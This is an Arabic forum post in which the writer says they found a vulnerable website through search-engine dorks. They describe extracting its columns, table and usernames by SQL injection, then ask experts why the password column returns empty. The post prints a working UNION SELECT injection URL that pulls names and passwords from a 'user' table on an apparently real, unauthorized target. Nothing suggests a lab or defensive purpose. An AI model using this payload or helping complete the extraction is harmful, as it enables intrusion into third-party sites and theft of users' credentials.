السلام عليكم
في البداية احب ان اشكر الاخ فولكانو ومكل من شارك معه بتقديم هذه الورة وان شاء الله بالتوفيق للجميع

والله وانا عم جرب بالدوركات لقيت موقع مصاب
واستخرجت عدد العواميد المصابة
وخمنت اسم الجدول
واستطعت ان اخرج اليوزر
وخمنت عمود الباس بكل الاحتمالات ومافي غير احتمال واحد ما ظهر فيه خطأ
حاولت استخرج الباس بس يطلع فارغ يعني ما بيظهر شي بالمكان المفروض تكون كلمة السرفيه(مكان العمود المصاب)

شكل الاستغلال
http://www.xxx.com/product_desc.php?id=-20092 UNION SELECT 1,2,concat(name,0x3a,Pass),4,5,6,7,8,9,10,11,12,13 ,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,3 0,31,32,33+from+user--

ارجو الحل من الخبراء